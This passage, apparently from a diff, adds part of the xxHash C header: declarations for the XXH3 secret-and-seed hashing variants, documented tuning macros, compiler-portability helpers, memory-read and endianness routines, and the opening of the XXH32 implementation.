XXH3_MIDSIZE_MAX = 240 bytes) + * - @p secret for "large" keys (>= @ref XXH3_MIDSIZE_MAX). + * + * This generally benefits speed, compared to `_withSeed()` or `_withSecret()`. + * `_withSeed()` has to generate the secret on the fly for "large" keys. + * It's fast, but can be perceptible for "not so large" keys (< 1 KB). + * `_withSecret()` has to generate the masks on the fly for "small" keys, + * which requires more instructions than _withSeed() variants. + * Therefore, _withSecretandSeed variant combines the best of both worlds. + * + * When @p secret has been generated by XXH3_generateSecret_fromSeed(), + * this variant produces *exactly* the same results as `_withSeed()` variant, + * hence offering only a pure speed benefit on "large" input, + * by skipping the need to regenerate the secret for every large input. + * + * Another usage scenario is to hash the secret to a 64-bit hash value, + * for example with XXH3_64bits(), which then becomes the seed, + * and then employ both the seed and the secret in _withSecretandSeed(). + * On top of speed, an added benefit is that each bit in the secret + * has a 50% chance to swap each bit in the output, via its impact to the seed. + * + * This is not guaranteed when using the secret directly in "small data" scenarios, + * because only portions of the secret are employed for small data. + */ +XXH_PUBLIC_API XXH_PUREF XXH64_hash_t +XXH3_64bits_withSecretandSeed(XXH_NOESCAPE const void* data, size_t len, + XXH_NOESCAPE const void* secret, size_t secretSize, + XXH64_hash_t seed); + +/*! + * @brief Calculates 128-bit seeded variant of XXH3 hash of @p data. + * + * @param input The memory segment to be hashed, at least @p len bytes in size. + * @param length The length of @p data, in bytes. + * @param secret The secret used to alter hash result predictably. + * @param secretSize The length of @p secret, in bytes (must be >= XXH3_SECRET_SIZE_MIN) + * @param seed64 The 64-bit seed to alter the hash result predictably. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @see XXH3_64bits_withSecretandSeed(): contract is the same. + */ +XXH_PUBLIC_API XXH_PUREF XXH128_hash_t +XXH3_128bits_withSecretandSeed(XXH_NOESCAPE const void* input, size_t length, + XXH_NOESCAPE const void* secret, size_t secretSize, + XXH64_hash_t seed64); + +#ifndef XXH_NO_STREAM +/*! + * @brief Resets an @ref XXH3_state_t with secret data to begin a new hash. + * + * @param statePtr A pointer to an @ref XXH3_state_t allocated with @ref XXH3_createState(). + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * @param seed64 The 64-bit seed to alter the hash result predictably. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @see XXH3_64bits_withSecretandSeed(). Contract is identical. + */ +XXH_PUBLIC_API XXH_errorcode +XXH3_64bits_reset_withSecretandSeed(XXH_NOESCAPE XXH3_state_t* statePtr, + XXH_NOESCAPE const void* secret, size_t secretSize, + XXH64_hash_t seed64); + +/*! + * @brief Resets an @ref XXH3_state_t with secret data to begin a new hash. + * + * @param statePtr A pointer to an @ref XXH3_state_t allocated with @ref XXH3_createState(). + * @param secret The secret data. + * @param secretSize The length of @p secret, in bytes. + * @param seed64 The 64-bit seed to alter the hash result predictably. + * + * @return @ref XXH_OK on success. + * @return @ref XXH_ERROR on failure. + * + * @see XXH3_64bits_withSecretandSeed(). Contract is identical. + * + * Note: there was a bug in an earlier version of this function (<= v0.8.2) + * that would make it generate an incorrect hash value + * when @p seed == 0 and @p length < XXH3_MIDSIZE_MAX + * and @p secret is different from XXH3_generateSecret_fromSeed(). + * As stated in the contract, the correct hash result must be + * the same as XXH3_128bits_withSeed() when @p length <= XXH3_MIDSIZE_MAX. + * Results generated by this older version are wrong, hence not comparable. + */ +XXH_PUBLIC_API XXH_errorcode +XXH3_128bits_reset_withSecretandSeed(XXH_NOESCAPE XXH3_state_t* statePtr, + XXH_NOESCAPE const void* secret, size_t secretSize, + XXH64_hash_t seed64); + +#endif /* !XXH_NO_STREAM */ + +#endif /* !XXH_NO_XXH3 */ +#endif /* XXH_NO_LONG_LONG */ +#if defined(XXH_INLINE_ALL) || defined(XXH_PRIVATE_API) +# define XXH_IMPLEMENTATION +#endif + +#endif /* defined(XXH_STATIC_LINKING_ONLY) && !defined(XXHASH_H_STATIC_13879238742) */ + + +/* ======================================================================== */ +/* ======================================================================== */ +/* ======================================================================== */ + + +/*-********************************************************************** + * xxHash implementation + *-********************************************************************** + * xxHash's implementation used to be hosted inside xxhash.c. + * + * However, inlining requires implementation to be visible to the compiler, + * hence be included alongside the header. + * Previously, implementation was hosted inside xxhash.c, + * which was then #included when inlining was activated. + * This construction created issues with a few build and install systems, + * as it required xxhash.c to be stored in /include directory. + * + * xxHash implementation is now directly integrated within xxhash.h. + * As a consequence, xxhash.c is no longer needed in /include. + * + * xxhash.c is still available and is still useful. + * In a "normal" setup, when xxhash is not inlined, + * xxhash.h only exposes the prototypes and public symbols, + * while xxhash.c can be built into an object file xxhash.o + * which can then be linked into the final binary. + ************************************************************************/ + +#if ( defined(XXH_INLINE_ALL) || defined(XXH_PRIVATE_API) \ + || defined(XXH_IMPLEMENTATION) ) && !defined(XXH_IMPLEM_13a8737387) +# define XXH_IMPLEM_13a8737387 + +/* ************************************* +* Tuning parameters +***************************************/ + +/*! + * @defgroup tuning Tuning parameters + * @{ + * + * Various macros to control xxHash's behavior. + */ +#ifdef XXH_DOXYGEN +/*! + * @brief Define this to disable 64-bit code. + * + * Useful if only using the @ref XXH32_family and you have a strict C90 compiler. + */ +# define XXH_NO_LONG_LONG +# undef XXH_NO_LONG_LONG /* don't actually */ +/*! + * @brief Controls how unaligned memory is accessed. + * + * By default, access to unaligned memory is controlled by `memcpy()`, which is + * safe and portable. + * + * Unfortunately, on some target/compiler combinations, the generated assembly + * is sub-optimal. + * + * The below switch allow selection of a different access method + * in the search for improved performance. + * + * @par Possible options: + * + * - `XXH_FORCE_MEMORY_ACCESS=0` (default): `memcpy` + * @par + * Use `memcpy()`. Safe and portable. Note that most modern compilers will + * eliminate the function call and treat it as an unaligned access. + * + * - `XXH_FORCE_MEMORY_ACCESS=1`: `__attribute__((aligned(1)))` + * @par + * Depends on compiler extensions and is therefore not portable. + * This method is safe _if_ your compiler supports it, + * and *generally* as fast or faster than `memcpy`. + * + * - `XXH_FORCE_MEMORY_ACCESS=2`: Direct cast + * @par + * Casts directly and dereferences. This method doesn't depend on the + * compiler, but it violates the C standard as it directly dereferences an + * unaligned pointer. It can generate buggy code on targets which do not + * support unaligned memory accesses, but in some circumstances, it's the + * only known way to get the most performance. + * + * - `XXH_FORCE_MEMORY_ACCESS=3`: Byteshift + * @par + * Also portable. This can generate the best code on old compilers which don't + * inline small `memcpy()` calls, and it might also be faster on big-endian + * systems which lack a native byteswap instruction. However, some compilers + * will emit literal byteshifts even if the target supports unaligned access. + * + * + * @warning + * Methods 1 and 2 rely on implementation-defined behavior. Use these with + * care, as what works on one compiler/platform/optimization level may cause + * another to read garbage data or even crash. + * + * See https://fastcompression.blogspot.com/2015/08/accessing-unaligned-memory.html for details. + * + * Prefer these methods in priority order (0 > 3 > 1 > 2) + */ +# define XXH_FORCE_MEMORY_ACCESS 0 + +/*! + * @def XXH_SIZE_OPT + * @brief Controls how much xxHash optimizes for size. + * + * xxHash, when compiled, tends to result in a rather large binary size. This + * is mostly due to heavy usage to forced inlining and constant folding of the + * @ref XXH3_family to increase performance. + * + * However, some developers prefer size over speed. This option can + * significantly reduce the size of the generated code. When using the `-Os` + * or `-Oz` options on GCC or Clang, this is defined to 1 by default, + * otherwise it is defined to 0. + * + * Most of these size optimizations can be controlled manually. + * + * This is a number from 0-2. + * - `XXH_SIZE_OPT` == 0: Default. xxHash makes no size optimizations. Speed + * comes first. + * - `XXH_SIZE_OPT` == 1: Default for `-Os` and `-Oz`. xxHash is more + * conservative and disables hacks that increase code size. It implies the + * options @ref XXH_NO_INLINE_HINTS == 1, @ref XXH_FORCE_ALIGN_CHECK == 0, + * and @ref XXH3_NEON_LANES == 8 if they are not already defined. + * - `XXH_SIZE_OPT` == 2: xxHash tries to make itself as small as possible. + * Performance may cry. For example, the single shot functions just use the + * streaming API. + */ +# define XXH_SIZE_OPT 0 + +/*! + * @def XXH_FORCE_ALIGN_CHECK + * @brief If defined to non-zero, adds a special path for aligned inputs (XXH32() + * and XXH64() only). + * + * This is an important performance trick for architectures without decent + * unaligned memory access performance. + * + * It checks for input alignment, and when conditions are met, uses a "fast + * path" employing direct 32-bit/64-bit reads, resulting in _dramatically + * faster_ read speed. + * + * The check costs one initial branch per hash, which is generally negligible, + * but not zero. + * + * Moreover, it's not useful to generate an additional code path if memory + * access uses the same instruction for both aligned and unaligned + * addresses (e.g. x86 and aarch64). + * + * In these cases, the alignment check can be removed by setting this macro to 0. + * Then the code will always use unaligned memory access. + * Align check is automatically disabled on x86, x64, ARM64, and some ARM chips + * which are platforms known to offer good unaligned memory accesses performance. + * + * It is also disabled by default when @ref XXH_SIZE_OPT >= 1. + * + * This option does not affect XXH3 (only XXH32 and XXH64). + */ +# define XXH_FORCE_ALIGN_CHECK 0 + +/*! + * @def XXH_NO_INLINE_HINTS + * @brief When non-zero, sets all functions to `static`. + * + * By default, xxHash tries to force the compiler to inline almost all internal + * functions. + * + * This can usually improve performance due to reduced jumping and improved + * constant folding, but significantly increases the size of the binary which + * might not be favorable. + * + * Additionally, sometimes the forced inlining can be detrimental to performance, + * depending on the architecture. + * + * XXH_NO_INLINE_HINTS marks all internal functions as static, giving the + * compiler full control on whether to inline or not. + * + * When not optimizing (-O0), using `-fno-inline` with GCC or Clang, or if + * @ref XXH_SIZE_OPT >= 1, this will automatically be defined. + */ +# define XXH_NO_INLINE_HINTS 0 + +/*! + * @def XXH3_INLINE_SECRET + * @brief Determines whether to inline the XXH3 withSecret code. + * + * When the secret size is known, the compiler can improve the performance + * of XXH3_64bits_withSecret() and XXH3_128bits_withSecret(). + * + * However, if the secret size is not known, it doesn't have any benefit. This + * happens when xxHash is compiled into a global symbol. Therefore, if + * @ref XXH_INLINE_ALL is *not* defined, this will be defined to 0. + * + * Additionally, this defaults to 0 on GCC 12+, which has an issue with function pointers + * that are *sometimes* force inline on -Og, and it is impossible to automatically + * detect this optimization level. + */ +# define XXH3_INLINE_SECRET 0 + +/*! + * @def XXH32_ENDJMP + * @brief Whether to use a jump for `XXH32_finalize`. + * + * For performance, `XXH32_finalize` uses multiple branches in the finalizer. + * This is generally preferable for performance, + * but depending on exact architecture, a jmp may be preferable. + * + * This setting is only possibly making a difference for very small inputs. + */ +# define XXH32_ENDJMP 0 + +/*! + * @internal + * @brief Redefines old internal names. + * + * For compatibility with code that uses xxHash's internals before the names + * were changed to improve namespacing. There is no other reason to use this. + */ +# define XXH_OLD_NAMES +# undef XXH_OLD_NAMES /* don't actually use, it is ugly. */ + +/*! + * @def XXH_NO_STREAM + * @brief Disables the streaming API. + * + * When xxHash is not inlined and the streaming functions are not used, disabling + * the streaming functions can improve code size significantly, especially with + * the @ref XXH3_family which tends to make constant folded copies of itself. + */ +# define XXH_NO_STREAM +# undef XXH_NO_STREAM /* don't actually */ +#endif /* XXH_DOXYGEN */ +/*! + * @} + */ + +#ifndef XXH_FORCE_MEMORY_ACCESS /* can be defined externally, on command line for example */ + /* prefer __packed__ structures (method 1) for GCC + * < ARMv7 with unaligned access (e.g. Raspbian armhf) still uses byte shifting, so we use memcpy + * which for some reason does unaligned loads. */ +# if defined(__GNUC__) && !(defined(__ARM_ARCH) && __ARM_ARCH < 7 && defined(__ARM_FEATURE_UNALIGNED)) +# define XXH_FORCE_MEMORY_ACCESS 1 +# endif +#endif + +#ifndef XXH_SIZE_OPT + /* default to 1 for -Os or -Oz */ +# if (defined(__GNUC__) || defined(__clang__)) && defined(__OPTIMIZE_SIZE__) +# define XXH_SIZE_OPT 1 +# else +# define XXH_SIZE_OPT 0 +# endif +#endif + +#ifndef XXH_FORCE_ALIGN_CHECK /* can be defined externally */ + /* don't check on sizeopt, x86, aarch64, or arm when unaligned access is available */ +# if XXH_SIZE_OPT >= 1 || \ + defined(__i386) || defined(__x86_64__) || defined(__aarch64__) || defined(__ARM_FEATURE_UNALIGNED) \ + || defined(_M_IX86) || defined(_M_X64) || defined(_M_ARM64) || defined(_M_ARM) /* visual */ +# define XXH_FORCE_ALIGN_CHECK 0 +# else +# define XXH_FORCE_ALIGN_CHECK 1 +# endif +#endif + +#ifndef XXH_NO_INLINE_HINTS +# if XXH_SIZE_OPT >= 1 || defined(__NO_INLINE__) /* -O0, -fno-inline */ +# define XXH_NO_INLINE_HINTS 1 +# else +# define XXH_NO_INLINE_HINTS 0 +# endif +#endif + +#ifndef XXH3_INLINE_SECRET +# if (defined(__GNUC__) && !defined(__clang__) && __GNUC__ >= 12) \ + || !defined(XXH_INLINE_ALL) +# define XXH3_INLINE_SECRET 0 +# else +# define XXH3_INLINE_SECRET 1 +# endif +#endif + +#ifndef XXH32_ENDJMP +/* generally preferable for performance */ +# define XXH32_ENDJMP 0 +#endif + +/*! + * @defgroup impl Implementation + * @{ + */ + + +/* ************************************* +* Includes & Memory related functions +***************************************/ +#if defined(XXH_NO_STREAM) +/* nothing */ +#elif defined(XXH_NO_STDLIB) + +/* When requesting to disable any mention of stdlib, + * the library loses the ability to invoked malloc / free. + * In practice, it means that functions like `XXH*_createState()` + * will always fail, and return NULL. + * This flag is useful in situations where + * xxhash.h is integrated into some kernel, embedded or limited environment + * without access to dynamic allocation. + */ + +static XXH_CONSTF void* XXH_malloc(size_t s) { (void)s; return NULL; } +static void XXH_free(void* p) { (void)p; } + +#else + +/* + * Modify the local functions below should you wish to use + * different memory routines for malloc() and free() + */ +#include + +/*! + * @internal + * @brief Modify this function to use a different routine than malloc(). + */ +static XXH_MALLOCF void* XXH_malloc(size_t s) { return malloc(s); } + +/*! + * @internal + * @brief Modify this function to use a different routine than free(). + */ +static void XXH_free(void* p) { free(p); } + +#endif /* XXH_NO_STDLIB */ + +#ifndef XXH_memcpy +/*! + * @internal + * @brief XXH_memcpy() macro can be redirected at compile time + */ +# include +# define XXH_memcpy memcpy +#endif + +#ifndef XXH_memset +/*! + * @internal + * @brief XXH_memset() macro can be redirected at compile time + */ +# include +# define XXH_memset memset +#endif + +#ifndef XXH_memcmp +/*! + * @internal + * @brief XXH_memcmp() macro can be redirected at compile time + * Note: only needed by XXH128. + */ +# include +# define XXH_memcmp memcmp +#endif + + + +#include /* ULLONG_MAX */ + + +/* ************************************* +* Compiler Specific Options +***************************************/ +#ifdef _MSC_VER /* Visual Studio warning fix */ +# pragma warning(disable : 4127) /* disable: C4127: conditional expression is constant */ +#endif + +#if XXH_NO_INLINE_HINTS /* disable inlining hints */ +# if defined(__GNUC__) || defined(__clang__) +# define XXH_FORCE_INLINE static __attribute__((__unused__)) +# else +# define XXH_FORCE_INLINE static +# endif +# define XXH_NO_INLINE static +/* enable inlining hints */ +#elif defined(__GNUC__) || defined(__clang__) +# define XXH_FORCE_INLINE static __inline__ __attribute__((__always_inline__, __unused__)) +# define XXH_NO_INLINE static __attribute__((__noinline__)) +#elif defined(_MSC_VER) /* Visual Studio */ +# define XXH_FORCE_INLINE static __forceinline +# define XXH_NO_INLINE static __declspec(noinline) +#elif defined (__cplusplus) \ + || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L)) /* C99 */ +# define XXH_FORCE_INLINE static inline +# define XXH_NO_INLINE static +#else +# define XXH_FORCE_INLINE static +# define XXH_NO_INLINE static +#endif + +#if defined(XXH_INLINE_ALL) +# define XXH_STATIC XXH_FORCE_INLINE +#else +# define XXH_STATIC static +#endif + +#if XXH3_INLINE_SECRET +# define XXH3_WITH_SECRET_INLINE XXH_FORCE_INLINE +#else +# define XXH3_WITH_SECRET_INLINE XXH_NO_INLINE +#endif + +#if ((defined(sun) || defined(__sun)) && __cplusplus) /* Solaris includes __STDC_VERSION__ with C++. Tested with GCC 5.5 */ +# define XXH_RESTRICT /* disable */ +#elif defined (__STDC_VERSION__) && __STDC_VERSION__ >= 199901L /* >= C99 */ +# define XXH_RESTRICT restrict +#elif (defined (__GNUC__) && ((__GNUC__ > 3) || (__GNUC__ == 3 && __GNUC_MINOR__ >= 1))) \ + || (defined (__clang__)) \ + || (defined (_MSC_VER) && (_MSC_VER >= 1400)) \ + || (defined (__INTEL_COMPILER) && (__INTEL_COMPILER >= 1300)) +/* + * There are a LOT more compilers that recognize __restrict but this + * covers the major ones. + */ +# define XXH_RESTRICT __restrict +#else +# define XXH_RESTRICT /* disable */ +#endif + +/* ************************************* +* Debug +***************************************/ +/*! + * @ingroup tuning + * @def XXH_DEBUGLEVEL + * @brief Sets the debugging level. + * + * XXH_DEBUGLEVEL is expected to be defined externally, typically via the + * compiler's command line options. The value must be a number. + */ +#ifndef XXH_DEBUGLEVEL +# ifdef DEBUGLEVEL /* backwards compat */ +# define XXH_DEBUGLEVEL DEBUGLEVEL +# else +# define XXH_DEBUGLEVEL 0 +# endif +#endif + +#if (XXH_DEBUGLEVEL>=1) +# include /* note: can still be disabled with NDEBUG */ +# define XXH_ASSERT(c) assert(c) +#else +# if defined(__INTEL_COMPILER) +# define XXH_ASSERT(c) XXH_ASSUME((unsigned char) (c)) +# else +# define XXH_ASSERT(c) XXH_ASSUME(c) +# endif +#endif + +/* note: use after variable declarations */ +#ifndef XXH_STATIC_ASSERT +# if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= 201112L) /* C11 */ +# define XXH_STATIC_ASSERT_WITH_MESSAGE(c,m) do { _Static_assert((c),m); } while(0) +# elif defined(__cplusplus) && (__cplusplus >= 201103L) /* C++11 */ +# define XXH_STATIC_ASSERT_WITH_MESSAGE(c,m) do { static_assert((c),m); } while(0) +# else +# define XXH_STATIC_ASSERT_WITH_MESSAGE(c,m) do { struct xxh_sa { char x[(c) ? 1 : -1]; }; } while(0) +# endif +# define XXH_STATIC_ASSERT(c) XXH_STATIC_ASSERT_WITH_MESSAGE((c),#c) +#endif + +/*! + * @internal + * @def XXH_COMPILER_GUARD(var) + * @brief Used to prevent unwanted optimizations for @p var. + * + * It uses an empty GCC inline assembly statement with a register constraint + * which forces @p var into a general purpose register (eg eax, ebx, ecx + * on x86) and marks it as modified. + * + * This is used in a few places to avoid unwanted autovectorization (e.g. + * XXH32_round()). All vectorization we want is explicit via intrinsics, + * and _usually_ isn't wanted elsewhere. + * + * We also use it to prevent unwanted constant folding for AArch64 in + * XXH3_initCustomSecret_scalar(). + */ +#if defined(__GNUC__) || defined(__clang__) +# define XXH_COMPILER_GUARD(var) __asm__("" : "+r" (var)) +#else +# define XXH_COMPILER_GUARD(var) ((void)0) +#endif + +/* Specifically for NEON vectors which use the "w" constraint, on + * Clang. */ +#if defined(__clang__) && defined(__ARM_ARCH) && !defined(__wasm__) +# define XXH_COMPILER_GUARD_CLANG_NEON(var) __asm__("" : "+w" (var)) +#else +# define XXH_COMPILER_GUARD_CLANG_NEON(var) ((void)0) +#endif + +/* ************************************* +* Basic Types +***************************************/ +#if !defined (__VMS) \ + && (defined (__cplusplus) \ + || (defined (__STDC_VERSION__) && (__STDC_VERSION__ >= 199901L) /* C99 */) ) +# ifdef _AIX +# include +# else +# include +# endif + typedef uint8_t xxh_u8; +#else + typedef unsigned char xxh_u8; +#endif +typedef XXH32_hash_t xxh_u32; + +#ifdef XXH_OLD_NAMES +# warning "XXH_OLD_NAMES is planned to be removed starting v0.9. If the program depends on it, consider moving away from it by employing newer type names directly" +# define BYTE xxh_u8 +# define U8 xxh_u8 +# define U32 xxh_u32 +#endif + +/* *** Memory access *** */ + +/*! + * @internal + * @fn xxh_u32 XXH_read32(const void* ptr) + * @brief Reads an unaligned 32-bit integer from @p ptr in native endianness. + * + * Affected by @ref XXH_FORCE_MEMORY_ACCESS. + * + * @param ptr The pointer to read from. + * @return The 32-bit native endian integer from the bytes at @p ptr. + */ + +/*! + * @internal + * @fn xxh_u32 XXH_readLE32(const void* ptr) + * @brief Reads an unaligned 32-bit little endian integer from @p ptr. + * + * Affected by @ref XXH_FORCE_MEMORY_ACCESS. + * + * @param ptr The pointer to read from. + * @return The 32-bit little endian integer from the bytes at @p ptr. + */ + +/*! + * @internal + * @fn xxh_u32 XXH_readBE32(const void* ptr) + * @brief Reads an unaligned 32-bit big endian integer from @p ptr. + * + * Affected by @ref XXH_FORCE_MEMORY_ACCESS. + * + * @param ptr The pointer to read from. + * @return The 32-bit big endian integer from the bytes at @p ptr. + */ + +/*! + * @internal + * @fn xxh_u32 XXH_readLE32_align(const void* ptr, XXH_alignment align) + * @brief Like @ref XXH_readLE32(), but has an option for aligned reads. + * + * Affected by @ref XXH_FORCE_MEMORY_ACCESS. + * Note that when @ref XXH_FORCE_ALIGN_CHECK == 0, the @p align parameter is + * always @ref XXH_alignment::XXH_unaligned. + * + * @param ptr The pointer to read from. + * @param align Whether @p ptr is aligned. + * @pre + * If @p align == @ref XXH_alignment::XXH_aligned, @p ptr must be 4 byte + * aligned. + * @return The 32-bit little endian integer from the bytes at @p ptr. + */ + +#if (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==3)) +/* + * Manual byteshift. Best for old compilers which don't inline memcpy. + * We actually directly use XXH_readLE32 and XXH_readBE32. + */ +#elif (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==2)) + +/* + * Force direct memory access. Only works on CPU which support unaligned memory + * access in hardware. + */ +static xxh_u32 XXH_read32(const void* memPtr) { return *(const xxh_u32*) memPtr; } + +#elif (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==1)) + +/* + * __attribute__((aligned(1))) is supported by gcc and clang. Originally the + * documentation claimed that it only increased the alignment, but actually it + * can decrease it on gcc, clang, and icc: + * https://gcc.gnu.org/bugzilla/show_bug.cgi?id=69502, + * https://gcc.godbolt.org/z/xYez1j67Y. + */ +#ifdef XXH_OLD_NAMES +typedef union { xxh_u32 u32; } __attribute__((__packed__)) unalign; +#endif +static xxh_u32 XXH_read32(const void* ptr) +{ + typedef __attribute__((__aligned__(1))) xxh_u32 xxh_unalign32; + return *((const xxh_unalign32*)ptr); +} + +#else + +/* + * Portable and safe solution. Generally efficient. + * see: https://fastcompression.blogspot.com/2015/08/accessing-unaligned-memory.html + */ +static xxh_u32 XXH_read32(const void* memPtr) +{ + xxh_u32 val; + XXH_memcpy(&val, memPtr, sizeof(val)); + return val; +} + +#endif /* XXH_FORCE_DIRECT_MEMORY_ACCESS */ + + +/* *** Endianness *** */ + +/*! + * @ingroup tuning + * @def XXH_CPU_LITTLE_ENDIAN + * @brief Whether the target is little endian. + * + * Defined to 1 if the target is little endian, or 0 if it is big endian. + * It can be defined externally, for example on the compiler command line. + * + * If it is not defined, + * a runtime check (which is usually constant folded) is used instead. + * + * @note + * This is not necessarily defined to an integer constant. + * + * @see XXH_isLittleEndian() for the runtime check. + */ +#ifndef XXH_CPU_LITTLE_ENDIAN +/* + * Try to detect endianness automatically, to avoid the nonstandard behavior + * in `XXH_isLittleEndian()` + */ +# if defined(_WIN32) /* Windows is always little endian */ \ + || defined(__LITTLE_ENDIAN__) \ + || (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_LITTLE_ENDIAN__) +# define XXH_CPU_LITTLE_ENDIAN 1 +# elif defined(__BIG_ENDIAN__) \ + || (defined(__BYTE_ORDER__) && __BYTE_ORDER__ == __ORDER_BIG_ENDIAN__) +# define XXH_CPU_LITTLE_ENDIAN 0 +# else +/*! + * @internal + * @brief Runtime check for @ref XXH_CPU_LITTLE_ENDIAN. + * + * Most compilers will constant fold this. + */ +static int XXH_isLittleEndian(void) +{ + /* + * Portable and well-defined behavior. + * Don't use static: it is detrimental to performance. + */ + const union { xxh_u32 u; xxh_u8 c[4]; } one = { 1 }; + return one.c[0]; +} +# define XXH_CPU_LITTLE_ENDIAN XXH_isLittleEndian() +# endif +#endif + + + + +/* **************************************** +* Compiler-specific Functions and Macros +******************************************/ +#define XXH_GCC_VERSION (__GNUC__ * 100 + __GNUC_MINOR__) + +#ifdef __has_builtin +# define XXH_HAS_BUILTIN(x) __has_builtin(x) +#else +# define XXH_HAS_BUILTIN(x) 0 +#endif + + + +/* + * C23 and future versions have standard "unreachable()". + * Once it has been implemented reliably we can add it as an + * additional case: + * + * ``` + * #if defined(__STDC_VERSION__) && (__STDC_VERSION__ >= XXH_C23_VN) + * # include + * # ifdef unreachable + * # define XXH_UNREACHABLE() unreachable() + * # endif + * #endif + * ``` + * + * Note C++23 also has std::unreachable() which can be detected + * as follows: + * ``` + * #if defined(__cpp_lib_unreachable) && (__cpp_lib_unreachable >= 202202L) + * # include + * # define XXH_UNREACHABLE() std::unreachable() + * #endif + * ``` + * NB: `__cpp_lib_unreachable` is defined in the `` header. + * We don't use that as including `` in `extern "C"` blocks + * doesn't work on GCC12 + */ + +#if XXH_HAS_BUILTIN(__builtin_unreachable) +# define XXH_UNREACHABLE() __builtin_unreachable() + +#elif defined(_MSC_VER) +# define XXH_UNREACHABLE() __assume(0) + +#else +# define XXH_UNREACHABLE() +#endif + +#if XXH_HAS_BUILTIN(__builtin_assume) +# define XXH_ASSUME(c) __builtin_assume(c) +#else +# define XXH_ASSUME(c) if (!(c)) { XXH_UNREACHABLE(); } +#endif + +/*! + * @internal + * @def XXH_rotl32(x,r) + * @brief 32-bit rotate left. + * + * @param x The 32-bit integer to be rotated. + * @param r The number of bits to rotate. + * @pre + * @p r > 0 && @p r < 32 + * @note + * @p x and @p r may be evaluated multiple times. + * @return The rotated result. + */ +#if !defined(NO_CLANG_BUILTIN) && XXH_HAS_BUILTIN(__builtin_rotateleft32) \ + && XXH_HAS_BUILTIN(__builtin_rotateleft64) +# define XXH_rotl32 __builtin_rotateleft32 +# define XXH_rotl64 __builtin_rotateleft64 +#elif XXH_HAS_BUILTIN(__builtin_stdc_rotate_left) +# define XXH_rotl32 __builtin_stdc_rotate_left +# define XXH_rotl64 __builtin_stdc_rotate_left +/* Note: although _rotl exists for minGW (GCC under windows), performance seems poor */ +#elif defined(_MSC_VER) +# define XXH_rotl32(x,r) _rotl(x,r) +# define XXH_rotl64(x,r) _rotl64(x,r) +#else +# define XXH_rotl32(x,r) (((x) << (r)) | ((x) >> (32 - (r)))) +# define XXH_rotl64(x,r) (((x) << (r)) | ((x) >> (64 - (r)))) +#endif + +/*! + * @internal + * @fn xxh_u32 XXH_swap32(xxh_u32 x) + * @brief A 32-bit byteswap. + * + * @param x The 32-bit integer to byteswap. + * @return @p x, byteswapped. + */ +#if defined(_MSC_VER) /* Visual Studio */ +# define XXH_swap32 _byteswap_ulong +#elif XXH_GCC_VERSION >= 403 +# define XXH_swap32 __builtin_bswap32 +#else +static xxh_u32 XXH_swap32 (xxh_u32 x) +{ + return ((x << 24) & 0xff000000 ) | + ((x << 8) & 0x00ff0000 ) | + ((x >> 8) & 0x0000ff00 ) | + ((x >> 24) & 0x000000ff ); +} +#endif + + +/* *************************** +* Memory reads +*****************************/ + +/*! + * @internal + * @brief Enum to indicate whether a pointer is aligned. + */ +typedef enum { + XXH_aligned, /*!< Aligned */ + XXH_unaligned /*!< Possibly unaligned */ +} XXH_alignment; + +/* + * XXH_FORCE_MEMORY_ACCESS==3 is an endian-independent byteshift load. + * + * This is ideal for older compilers which don't inline memcpy. + */ +#if (defined(XXH_FORCE_MEMORY_ACCESS) && (XXH_FORCE_MEMORY_ACCESS==3)) + +XXH_FORCE_INLINE xxh_u32 XXH_readLE32(const void* memPtr) +{ + const xxh_u8* bytePtr = (const xxh_u8 *)memPtr; + return bytePtr[0] + | ((xxh_u32)bytePtr[1] << 8) + | ((xxh_u32)bytePtr[2] << 16) + | ((xxh_u32)bytePtr[3] << 24); +} + +XXH_FORCE_INLINE xxh_u32 XXH_readBE32(const void* memPtr) +{ + const xxh_u8* bytePtr = (const xxh_u8 *)memPtr; + return bytePtr[3] + | ((xxh_u32)bytePtr[2] << 8) + | ((xxh_u32)bytePtr[1] << 16) + | ((xxh_u32)bytePtr[0] << 24); +} + +#else +XXH_FORCE_INLINE xxh_u32 XXH_readLE32(const void* ptr) +{ + return XXH_CPU_LITTLE_ENDIAN ? XXH_read32(ptr) : XXH_swap32(XXH_read32(ptr)); +} + +static xxh_u32 XXH_readBE32(const void* ptr) +{ + return XXH_CPU_LITTLE_ENDIAN ? XXH_swap32(XXH_read32(ptr)) : XXH_read32(ptr); +} +#endif + +XXH_FORCE_INLINE xxh_u32 +XXH_readLE32_align(const void* ptr, XXH_alignment align) +{ + if (align==XXH_unaligned) { + return XXH_readLE32(ptr); + } else { + return XXH_CPU_LITTLE_ENDIAN ? *(const xxh_u32*)ptr : XXH_swap32(*(const xxh_u32*)ptr); + } +} + + +/* ************************************* +* Misc +***************************************/ +/*! @ingroup public */ +XXH_PUBLIC_API unsigned XXH_versionNumber (void) { return XXH_VERSION_NUMBER; } + + +/* ******************************************************************* +* 32-bit hash functions +*********************************************************************/ +/*! + * @} + * @defgroup XXH32_impl XXH32 implementation + * @ingroup impl + * + * Details on the XXH32 implementation. + * @{ + */ + /* #define instead of static const, to be used as initializers */ +#define XXH_PRIME32_1 0x9E3779B1U /*!< 0b10011110001101110111100110110001 */ +#define XXH_PRIME32_2 0x85EBCA77U /*!< 0b10000101111010111100101001110111 */ +#define XXH_PRIME32_3 0xC2B2AE3DU /*!< 0b11000010101100101010111000111101 */ +#define XXH_PRIME32_4 0x27D4EB2FU /*!< 0b00100111110101001110101100101111 */ +#define XXH_PRIME32_5 0x165667B1U /*!< 0b00010110010101100110011110110001 */ + +#ifdef XXH_OLD_NAMES +# define PRIME32_1 XXH_PRIME32_1 +# define PRIME32_2 XXH_PRIME32_2 +# define PRIME32_3 XXH_PRIME32_3 +# define PRIME32_4 XXH_PRIME32_4 +# define PRIME32_5 XXH_PRIME32_5 +#endif + +/*! + * @internal + * @brief Normal stripe processing routine. + * + * This shuffles the bits so that any bit from @p input impacts several bits in + * @p acc. + * + * @param acc The accumulator lane. + * @param input The stripe of input to mix. + * @return The mixed accumulator lane. + 